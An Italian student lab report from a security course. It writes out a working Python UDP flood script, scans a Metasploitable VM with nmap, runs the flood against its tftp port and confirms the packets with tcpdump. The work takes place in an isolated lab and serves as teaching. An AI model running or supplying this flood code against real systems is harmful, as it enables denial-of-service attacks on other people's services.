

Attacchi DoS (Denial of Service)

Simulazione di un UDP Flood

S6/L3

15/01/2025

Requisiti del programma

1. Input dell'IP Target:

- Il programma deve richiedere all'utente di inserire l'IP della macchina target.

2. Input della Porta Target:

- Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.

3. Costruzione del pacchetto:

- La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.
- Suggerimento: per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

4. Numero di Pacchetti da Inviare:

- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

Svolgimento

Ho scritto il codice su kali

```
GNU nano 8.1                                dosprova.py
import socket
import random

def generate_packet(size):
    return bytes([random.randint(0, 255) for x in range(size)])

def udp_flood(ip, port, packet_size, packet_count):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for x in range(packet_count):
        packet = generate_packet(packet_size)
        sock.sendto(packet, (ip, port))

target_ip = input("Inserisci l'IP della macchina target: ")
target_port = int(input("Inserisci la porta UDP della macchina target: "))
packet_size = 1024
packet_count = int(input("Quanti pacchetti vuoi inviare? "))

udp_flood(target_ip, target_port, packet_size, packet_count)
print("I pacchetti sono stati inviati.")
```

Per controllare quali porte UDP fossero aperte su metasploitable ho eseguito sulla MV questo comando:

`nmap -sU <indirizzo IP di Metasploitable>`

```
msfadmin@metasploitable:~$ nmap -sU 192.168.60.2

Starting Nmap 4.53 ( http://insecure.org ) at 2025-01-15 08:53 EST
Interesting ports on 192.168.60.2:
Not shown: 1481 closed ports
PORT      STATE      SERVICE
53/udp    open|filtered domain
69/udp    open|filtered tftp
111/udp   open|filtered rpcbind
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
948/udp   open|filtered unknown
2049/udp  open|filtered nfs
```

Ho scelto la porta 69 dove c'è il servizio tftp

```
(kali@kali)-[~/Desktop]
$ python dosprova.py
Inserisci l'IP della macchina target: 192.168.60.2
Inserisci la porta UDP della macchina target: 69
Quanti pacchetti vuoi inviare? 5
I pacchetti sono stati inviati.
```

In un'altra scheda terminale ho eseguito questo comando per catturare i pacchetti che vengono mandati in tempo reale

`sudo tcpdump -i <interfaccia> udp and host <indirizzo IP di Metasploitable>`

```
(kali㉿kali)-[~]
$ sudo tcpdump -i eth0 udp and host 192.168.60.2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
09:25:09.211331 IP 192.168.60.5.51610 > 192.168.60.2.tftp: TFTP, length 1024, tftp-#44859
09:25:09.211708 IP 192.168.60.5.51610 > 192.168.60.2.tftp: TFTP, length 1024, tftp-#9434
09:25:09.211963 IP 192.168.60.5.51610 > 192.168.60.2.tftp: TFTP, length 1024, tftp-#9519
09:25:09.212231 IP 192.168.60.5.51610 > 192.168.60.2.tftp: TFTP, length 1024, tftp-#25546
09:25:09.212490 IP 192.168.60.5.51610 > 192.168.60.2.tftp: TFTP, length 1024, tftp-#12076
^C
5 packets captured
5 packets received by filter
0 packets dropped by kernel
```